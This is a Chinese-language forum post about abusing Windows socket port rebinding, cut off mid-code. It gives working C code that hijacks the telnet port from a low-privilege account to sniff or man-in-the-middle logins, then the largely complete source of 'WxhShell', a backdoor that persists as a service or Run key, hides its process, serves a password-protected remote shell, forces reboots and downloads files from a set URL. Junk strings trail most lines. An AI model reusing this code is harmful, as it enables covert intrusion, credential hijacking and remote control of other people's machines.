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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wL5IAkq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =u${2=  
JS}W4 N  
  saddr.sin_family = AF_INET; |@Q(~[It  
Qj[4gN?}=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Eqc&v!O  
PIB|&I|p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4h:Oo  
N$p}rh#7{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VGWqy4m  
e%(zjCA  
  这意味着什么?意味着可以进行如下的攻击: 1K0 9iB  
zP rT0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C[n,j#Mvje  
:4]&R9J>o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {BY`Wu:w  
~k|~Q\   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5(u7b  
(U/6~r'.L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +CX2W('  
NAx( Qi3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jWUN~#p!  
:NA cad  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q%o   
j05ahquI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FspI[g UN,  
\dbpC Z  
  #include ]/JE#  
  #include o PR^Z pt  
  #include :==kC672  
  #include    #wx0xQ~,J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I;uZ/cZ|/  
  int main() fG0rUi(8  
  { s:jr/ j!  
  WORD wVersionRequested; #9#N+  
  DWORD ret; Y\dK- M{$  
  WSADATA wsaData; 3ZC to[Y  
  BOOL val; yr[iAi"  
  SOCKADDR_IN saddr; Ds&)0Iwf  
  SOCKADDR_IN scaddr; - Kj$A@~x  
  int err; 7:mM`0g!  
  SOCKET s; PKwHq<vAsB  
  SOCKET sc; qNC.|R  
  int caddsize; 3M+hjc.  
  HANDLE mt; Ndx.SOj  
  DWORD tid;   DK*2 d_  
  wVersionRequested = MAKEWORD( 2, 2 ); - FA#hUK$  
  err = WSAStartup( wVersionRequested, &wsaData ); YpL{c*M  
  if ( err != 0 ) { 1,,o_e\nn3  
  printf("error!WSAStartup failed!\n"); /D 2v 1  
  return -1; k{y@&QNj  
  } N@?Fpmu/k  
  saddr.sin_family = AF_INET; ^0~?3t5  
   x4.-7%VV%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CuT[V?^iD  
z=n"cE[KtB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  ]c[80F-  
  saddr.sin_port = htons(23); c .KpXY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hb_YdnG  
  { 1wE~dpnx  
  printf("error!socket failed!\n"); !Lk|eGd*  
  return -1; gPQ2i])"Q  
  } e u^z&R!um  
  val = TRUE; oKA8)~Xqou  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NrNbNFfo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5c3 )p^ ]g  
  { 1UyI.U]  
  printf("error!setsockopt failed!\n"); *oZBv4Vh   
  return -1; `Qaw]&O  
  } nCGLuZn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8 yB  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H.|FEV@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3MNo&0M9  
2@uo2]o)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ASR"<]  
  { 0&2TeqsLh)  
  ret=GetLastError(); PZeVjL?E  
  printf("error!bind failed!\n"); q`"gT;3S  
  return -1; I$9 t^82j  
  } 3xp%o5K  
  listen(s,2);  x)THeH@  
  while(1) 6$ 9n_AS  
  { `fY~Lv{4d_  
  caddsize = sizeof(scaddr); ?9OiF-:n  
  //接受连接请求 F>96]71 2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q$iv27  
  if(sc!=INVALID_SOCKET) v&xk?F?WU,  
  { g=o)=sQd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #wk'&XsC#z  
  if(mt==NULL) >m44U 9   
  { ~Pv4X2MO  
  printf("Thread Creat Failed!\n"); C8-4 m68"  
  break; 1EyM,$On  
  } $X WJxQRUv  
  } ?VCb@&*  
  CloseHandle(mt); e~i ?E  
  } mxGa\{D# y  
  closesocket(s); f,)[f M4  
  WSACleanup(); H}dsd=yO  
  return 0; !3kyPoq+  
  }   5m=3{lBi  
  DWORD WINAPI ClientThread(LPVOID lpParam) VkRvmKYl  
  { 9"I/jd0B  
  SOCKET ss = (SOCKET)lpParam; <,`=m|z9k  
  SOCKET sc; .NiPaUzc<  
  unsigned char buf[4096]; IT'~.!o7/  
  SOCKADDR_IN saddr; )o SFHf  
  long num; .B6$U>>NS^  
  DWORD val; O<)"k j 7  
  DWORD ret; Q/1 6D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ppM d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U~s&}M\n  
  saddr.sin_family = AF_INET; !D7/Ja  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `Ft.Rwj2:m  
  saddr.sin_port = htons(23); 8N'`kd~6[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4IG'T m  
  { 1WfN_JKB5  
  printf("error!socket failed!\n"); _E{SGbCCi  
  return -1; 8]YFlW9  
  } AVZ-g/<  
  val = 100; z%hB=V!~91  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K9m L1[B  
  { I o|NL6[  
  ret = GetLastError(); yLW iY~Fd  
  return -1; Om\?<aul  
  } ZcYxH|Gn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k =ru) _$2  
  { ']Nw{}eS`  
  ret = GetLastError(); cZe,l1$  
  return -1; MV-fDqA(  
  } erdWGUfQOe  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |4\.",Bg  
  { S =U*is  
  printf("error!socket connect failed!\n"); zF>| 9JU  
  closesocket(sc); zRx-xWo  
  closesocket(ss); 17a'C  
  return -1; qq]ZkT}   
  } &y;('w  
  while(1) &DYHkG  
  { u `1cXL['  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5%rD7/7N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [;7&E{,C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .8<bz4  
  num = recv(ss,buf,4096,0); O'Lgb9  
  if(num>0) q=M!YWz  
  send(sc,buf,num,0); c*'D  
  else if(num==0) * 8CI'UX  
  break; C:"Al-  
  num = recv(sc,buf,4096,0); u.ffZ]\7l  
  if(num>0) 7H:1c=U  
  send(ss,buf,num,0); s(w6Ldi  
  else if(num==0) ZxlQyr`~a(  
  break; :rnn`/L  
  } 8{Bcl5]<  
  closesocket(ss); 6Z]* ce<r  
  closesocket(sc); Qr6[h!  
  return 0 ; [8EzyB>fH  
  } Wsyq  
f wWI2"}  
h$)+$^YI  
========================================================== %>_ZUu3M  
2%y}El^+_  
下边附上一个代码,,WXhSHELL Bd*:y qi  
^31X-}t v  
========================================================== NRe{0U}nO  
R*3x{DNL  
#include "stdafx.h" .>%(bH8S  
ZW{pO:-  
#include <stdio.h> LE%3.. !  
#include <string.h> >T[1=;o]  
#include <windows.h> %e.tAl"!$  
#include <winsock2.h> \R#]}g0!  
#include <winsvc.h> ln-+=jk  
#include <urlmon.h> 'te4mY}  
{s&6C-  
#pragma comment (lib, "Ws2_32.lib") 0"]N9N;/  
#pragma comment (lib, "urlmon.lib") }ac0}  
*^e06xc:  
#define MAX_USER   100 // 最大客户端连接数 4 8l!P(>?y  
#define BUF_SOCK   200 // sock buffer |dcRDOTe  
#define KEY_BUFF   255 // 输入 buffer Sz|;wsF{  
{gT2G*Ed^Z  
#define REBOOT     0   // 重启 o,dO.isgh>  
#define SHUTDOWN   1   // 关机 zRSIJ!A~  
M}2a/}4   
#define DEF_PORT   5000 // 监听端口 4+qoq$F</  
Q^}6GS$  
#define REG_LEN     16   // 注册表键长度 2x%Xx3!  
#define SVC_LEN     80   // NT服务名长度 [(Ss^?AJW  
{WfZE&B  
// 从dll定义API \6~(# y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N=R|s$,Oy9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N) D;)ZH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %2>ya>/M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P/uk]5H^  
s|L}wtc  
// wxhshell配置信息 i7]\}w|  
struct WSCFG { !lf'gW  
  int ws_port;         // 监听端口 d;1%Ei3K  
  char ws_passstr[REG_LEN]; // 口令 =g)|g+[H  
  int ws_autoins;       // 安装标记, 1=yes 0=no \1x<bx/1  
  char ws_regname[REG_LEN]; // 注册表键名 1 XsB  
  char ws_svcname[REG_LEN]; // 服务名 E{+V_.tlu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yU'Fyul  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 do0;"O0 (  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w;f$oT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 67<Ym0+ =  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bs7/<$9K/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7L68voC@U  
0G@sj7)]  
}; it?l! ~  
_4H 9rPhf  
// default Wxhshell configuration DPIIE2X  
struct WSCFG wscfg={DEF_PORT, kaybi 0  
    "xuhuanlingzhe", P")duv  
    1, }?^V9K-  
    "Wxhshell", \Eqxmo  
    "Wxhshell", aLzRbRv  
            "WxhShell Service", s az<NT  
    "Wrsky Windows CmdShell Service", <i}lP/U  
    "Please Input Your Password: ", nSUQ Eho<  
  1, Lckb*/jV&  
  "http://www.wrsky.com/wxhshell.exe", )q#1C]7m*  
  "Wxhshell.exe" wCT. (d_  
    }; ig:E` Fe@  
Z*,Nt6;e  
// 消息定义模块 /q.iUwSK>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c*iZ6j"iI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qe8F(k~k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "zpc)'$ L=  
char *msg_ws_ext="\n\rExit."; )q xZHV  
char *msg_ws_end="\n\rQuit."; cPQUR^!5  
char *msg_ws_boot="\n\rReboot..."; aB@D-Y"HO  
char *msg_ws_poff="\n\rShutdown..."; >SS YYy  
char *msg_ws_down="\n\rSave to "; mR JX,  
$A>\I3B  
char *msg_ws_err="\n\rErr!"; OB-gH3:  
char *msg_ws_ok="\n\rOK!"; VG,O+I'^z  
urM=l5Sx  
char ExeFile[MAX_PATH]; >\J({/ #O  
int nUser = 0; j A/xe  
HANDLE handles[MAX_USER]; oaxCcB=\  
int OsIsNt; ^Bkwbj  
6;|6@j  
SERVICE_STATUS       serviceStatus; Rwu y!F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W+F{!dW  
fU?P__zU4  
// 函数声明 ~96fyk|  
int Install(void); Z %?: CA  
int Uninstall(void); k5s8s@  
int DownloadFile(char *sURL, SOCKET wsh); ui _nvD:  
int Boot(int flag); +@n8DM{b  
void HideProc(void); Io8h 8N-  
int GetOsVer(void); sR(or=ub~  
int Wxhshell(SOCKET wsl); p_ H;|m9  
void TalkWithClient(void *cs); *OoM[wEY  
int CmdShell(SOCKET sock); "t[9EbFL  
int StartFromService(void); pi/Jto25z  
int StartWxhshell(LPSTR lpCmdLine); R8Kj3wp  
|Z ), OW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *<.{sx^Gk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }(*eRF'  
+0{$J\s  
// 数据结构和表定义 "'# 18&N  
SERVICE_TABLE_ENTRY DispatchTable[] = H NFG:t9  
{ ;F)j,Ywi)H  
{wscfg.ws_svcname, NTServiceMain}, .?<M$38fv  
{NULL, NULL} _zuaImJ0o  
}; n\X'2  
p,(gv])ie  
// 自我安装 P@LFX[HtM  
int Install(void) %MA o<,ha  
{ 5uo?KSX%  
  char svExeFile[MAX_PATH]; mNc?`G_R  
  HKEY key; o#p{0y  
  strcpy(svExeFile,ExeFile); ;7;=)/-  
/Qa'\X,f3  
// 如果是win9x系统,修改注册表设为自启动 { :^;byd  
if(!OsIsNt) { qdss(LZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5mtsN#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ()Tl\  
  RegCloseKey(key); IdHyd Y1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C[4{\3\Va  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }fS`jq;  
  RegCloseKey(key); X-lB1uq^  
  return 0; *6C ]CS  
    } /-{C,+cB  
  } xE.yh#?.k  
} Qru iQ/t  
else { >ocDh~@aP  
uPbGQ:%}  
// 如果是NT以上系统,安装为系统服务 z_;:6*l=:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ' F,.y6QU  
if (schSCManager!=0) E]aQK.  
{ r bfIH":  
  SC_HANDLE schService = CreateService \f!j9O9S  
  ( 3 |se]~  
  schSCManager, EuJ_UxkG  
  wscfg.ws_svcname, o0Z~9iF&  
  wscfg.ws_svcdisp, k <EzYh  
  SERVICE_ALL_ACCESS, \dx$G?R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @P'("qb~  
  SERVICE_AUTO_START, XCo3pB Wq~  
  SERVICE_ERROR_NORMAL, yPn!1=-(  
  svExeFile, 8:9/RL\"x  
  NULL, u&E$(  
  NULL, $2kZM4  
  NULL, D#.N)@\  
  NULL, q{c/TRp7  
  NULL e`7dRnx&0  
  ); Gg,&~ jHib  
  if (schService!=0) MEI.wJZ  
  { >V,i7v*?  
  CloseServiceHandle(schService); 'gaa@ !bg  
  CloseServiceHandle(schSCManager); dlf nhf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~d9@m#_T#~  
  strcat(svExeFile,wscfg.ws_svcname); -W\1n#J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =>0 G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s(?A=JJ  
  RegCloseKey(key); OL2 b  
  return 0; 1y{@fg~..  
    } 32S5Ai@Cd"  
  } bT8 ?(Iu  
  CloseServiceHandle(schSCManager); `pJWZ:3  
} j@guB:0  
} c]x'}K c  
Vz\?a8qQ<  
return 1; V."qxKsz  
} e.n*IJ_fz  
D8O&`!mf  
// 自我卸载 g.:b\JE`  
int Uninstall(void) \Um &  
{ `at>X&Ce,  
  HKEY key; .~C[D T+,  
M>xjs?{%k  
if(!OsIsNt) { $j"TPkW{M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p+y2w{{  
  RegDeleteValue(key,wscfg.ws_regname); LvcGh  
  RegCloseKey(key); `9vCl@"IV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }|-Yd"$  
  RegDeleteValue(key,wscfg.ws_regname); ][[\!og  
  RegCloseKey(key); -udKGrT+  
  return 0; VUbg{Rb)  
  } B4/\RC2  
} wF.S ,|  
} =JM !`[  
else { T/YvCbo  
AZ'"Ua  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y5XhV;16  
if (schSCManager!=0) QP={b+8  
{ Lk8NjK6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s4kkzTnXE3  
  if (schService!=0) cpJ(77e  
  { c%O8h  
  if(DeleteService(schService)!=0) { 24 L =v  
  CloseServiceHandle(schService); =L F9im  
  CloseServiceHandle(schSCManager);  1cvH  
  return 0; %7n(>em  
  } 3w!,@=.q  
  CloseServiceHandle(schService); JQde I+  
  } X ^\kI1  
  CloseServiceHandle(schSCManager); 5.o{A#/NTl  
} \66j4?H#  
} laX67Vjv  
#>[5NQ;$'  
return 1; \4FKZ>1+R  
} TxDzGC  
lRr={ >s  
// 从指定url下载文件 XL2iK)A  
int DownloadFile(char *sURL, SOCKET wsh) etD8S KD  
{ r[votdFo  
  HRESULT hr; h}@)oSX }  
char seps[]= "/";  `GQ'yv  
char *token; 8Z1pQx-P2C  
char *file; A3cW8 OClz  
char myURL[MAX_PATH]; rZSX fgfr  
char myFILE[MAX_PATH]; [pgld9To  
+~]:oj  
strcpy(myURL,sURL); [T>a}}@  
  token=strtok(myURL,seps); gZ&' J\  
  while(token!=NULL) P3u,)P&  
  { yG%<LP2p@f  
    file=token; tMnwY'  
  token=strtok(NULL,seps); hq[RU&\  
  } vi-mn)L6#  
/N?vVp  
GetCurrentDirectory(MAX_PATH,myFILE); x O gUX6n  
strcat(myFILE, "\\"); @2eV^eO9  
strcat(myFILE, file); $Afw]F$  
  send(wsh,myFILE,strlen(myFILE),0); .dStV6  
send(wsh,"...",3,0); SGUu\yS&s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zv8I`/4?  
  if(hr==S_OK) Mq [|w2.  
return 0; !/|^ )d^U  
else <xpHlLc  
return 1; cy+EJq I  
i rRe}  
} M(+;AS?;  
JLZ=$d  
// 系统电源模块 7Rix=*  
int Boot(int flag) ctB(c`zcY  
{ +CF"Bm8@  
  HANDLE hToken; &GetRDr  
  TOKEN_PRIVILEGES tkp; .o!z:[IPY  
k=o>DaEh(  
  if(OsIsNt) { 5[{#/!LX)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ; D a[jFP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -jJw wOm  
    tkp.PrivilegeCount = 1; ^3:y<{J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q[U_ 0O,A9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xU5+"t~  
if(flag==REBOOT) { AT6:&5_`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gd08RW  
  return 0; *gxo! F}  
} !R/- |Kjy  
else { Zagj1 OV|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A7SE>e>  
  return 0; ag \d4y6  
} \h&ui]V  
  } ZO!  
  else { M zbs#v0  
if(flag==REBOOT) { QlFt:?7f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P4~=_Hh  
  return 0; E*F)jP,yo  
} xWa96U[  
else { xn)eb#r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5v uB87`  
  return 0; uKBSv*AM  
} +[sZE X  
} /#,3JU$w  
+.RC{o,  
return 1; Lk-%I?  
} jW G=k#WN  
rq.S0bzH  
// win9x进程隐藏模块 R1%2]?  
void HideProc(void) E9yBa=#*c  
{ $j\UD8Hj'-  
q~K KN /N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DG&[.dR+  
  if ( hKernel != NULL ) d5x>kO'[l  
  { 08!pLE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {Va "o~io  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N{f4-i~  
    FreeLibrary(hKernel); rU {E}  
  } VTQxg5P c  
]757oAXl  
return; +foyPj!%  
} g`skmHS89  
7D;g\{>M  
// 获取操作系统版本 l]s,CX  
int GetOsVer(void) BK_x5mGu3  
{ U1>VKP;5Nn  
  OSVERSIONINFO winfo; B`/c Kfg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RtR5ij1  
  GetVersionEx(&winfo); Ikkv <uY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .i7bI2^  
  return 1; '5Zt B<  
  else +U%U3tAvs  
  return 0; }/%(7Ff{  
} r] +V:l3  
QX*HvT  
// 客户端句柄模块 jZm57{C#*?  
int Wxhshell(SOCKET wsl) l+>&-lX'  
{ N|,6<|  
  SOCKET wsh; \gh`P S-B  
  struct sockaddr_in client; z k[%YG&  
  DWORD myID;  [>'P  
S=^a''bg  
  while(nUser<MAX_USER) *N0R3da  
{ rf%E+bh4  
  int nSize=sizeof(client); Lmy ^/P%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *j,5TO-j  
  if(wsh==INVALID_SOCKET) return 1; v@43 %`"Gj  
}NMkL l]J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V4RtH  
if(handles[nUser]==0) r$~w3yN)v  
  closesocket(wsh); uLw$`ihw  
else f!`,!dZgkd  
  nUser++; p7"o:YSQ  
  } 2VOdI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C ^@~  
3 ;F=EMz{  
  return 0; C(:tFuacpw  
} GdqT4a\S  
rNL*(PN}lO  
// 关闭 socket bF88F_  
void CloseIt(SOCKET wsh) nj*B-M\p  
{ Z6}B}5@y  
closesocket(wsh); tQy@d_a=y  
nUser--; t@Qs&DZ7k  
ExitThread(0); Tc6H%itV  
} Oj# nF@U  
E%M~:JuKd?  
// 客户端请求句柄 %y~=+Sm%m  
void TalkWithClient(void *cs) 8v6YOG"b q  
{ a*d>WN.;U  
[@OXvdTV  
  SOCKET wsh=(SOCKET)cs; mbBd3y  
  char pwd[SVC_LEN]; zof>S>5>R7  
  char cmd[KEY_BUFF]; LI[ w?6B  
char chr[1]; }bG|(Wp9  
int i,j; JJ3(0 +  
(]Z%&>*  
  while (nUser < MAX_USER) { uj$b/I>.'  
tI&Z!fj  
if(wscfg.ws_passstr) { r"OVu~ND  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8CxC`*L(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DfFsCTu  
  //ZeroMemory(pwd,KEY_BUFF); }d2]QD#O  
      i=0; #/  1  
  while(i<SVC_LEN) { C+-xC~  
>3 Q%Yn  
  // 设置超时 c+/SvRx^>  
  fd_set FdRead; ~S)o ('  
  struct timeval TimeOut; oc,a  
  FD_ZERO(&FdRead); "Y 9 *rL  
  FD_SET(wsh,&FdRead); f)\ =LV  
  TimeOut.tv_sec=8; A-vK0l+  
  TimeOut.tv_usec=0; tWYKW3~]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :Vc+/ZyW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q9w6 6R  
}E+}\&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,~t{Q*#_h  
  pwd=chr[0]; %ci/(wL  
  if(chr[0]==0xd || chr[0]==0xa) { bZk7)b;1o  
  pwd=0; 6X5`npf  
  break; XM$r,}B k  
  } >Liv].  
  i++; [1@ -F+  
    } oJy]n9  
WC,&p  
  // 如果是非法用户,关闭 socket /"+ n{*9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m98j`t  
} ~HsPYc8Fz  
CRvUD.D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A/Kw"l>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Kb  
JK.lL]<p i  
while(1) { a?CV;9   
d ! A)H<Zt  
  ZeroMemory(cmd,KEY_BUFF); Pp1HOJYJp0  
,p/iN9+Z  
      // 自动支持客户端 telnet标准   't \:@-tQ  
  j=0; QA\eXnR  
  while(j<KEY_BUFF) { g5/%}8[- 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A.m#wY8  
  cmd[j]=chr[0]; Q@hx +aM  
  if(chr[0]==0xa || chr[0]==0xd) { %B` MO-  
  cmd[j]=0; " B Z6G`  
  break; LX[J6YKR  
  } ]Qe;+p9vU  
  j++; ?J,hv'L]  
    } orCD?vlh  
@ 'rk[S}A  
  // 下载文件 GEXT8f(7  
  if(strstr(cmd,"http://")) {  @*'|8%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w~QUG^0Fx  
  if(DownloadFile(cmd,wsh)) Qfr%BQV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oX@nWQBc_  
  else g![]R-$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &bBK#d*-u?  
  } H[ocIw  
  else { \k_0wt2x1  
FW(y#Fmqs  
    switch(cmd[0]) { s2L|J[Y"s  
  nJ |O,*`O  
  // 帮助 t<sg8U.  
  case '?': { "knSc0 ,u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w35r\x +  
    break; c%w@-n`  
  } U8kH'OD  
  // 安装 1[o] u:m9U  
  case 'i': { Px5ArSS  
    if(Install()) +J3 0OT8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #z 3tSnmp  
    else nw[DI %Tp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J Sz'oA5  
    break; ja*k\w{U'  
    } 5*~Mv<#  
  // 卸载 _XIls*6AK  
  case 'r': { G=a.Wff  
    if(Uninstall()) <T{2a\i 4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 F~e3  
    else N r5 aU6]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~fB}v  
    break; betN-n-  
    } XbdoTriE  
  // 显示 wxhshell 所在路径 lob{{AB,!  
  case 'p': { cMOvM0f  
    char svExeFile[MAX_PATH]; 1xg^;3m2  
    strcpy(svExeFile,"\n\r"); NKB,D$!~&  
      strcat(svExeFile,ExeFile); /*s:ehj  
        send(wsh,svExeFile,strlen(svExeFile),0); j%Mz;m4y  
    break; Bi2be$nV  
    } i|+ EC_^<  
  // 重启 2P`QS@v0a=  
  case 'b': { pisjfNT`o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D"_~Njf  
    if(Boot(REBOOT)) }7YDe'5V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aZ^P*|_K3  
    else { TtEc~m  
    closesocket(wsh); jV)!9+H#  
    ExitThread(0); ?F'gh4  
    } f)hs>F  
    break; Qx CZ<|  
    } /l_ $1<c  
  // 关机 ;m$F~!Y  
  case 'd': { *%_:[>  
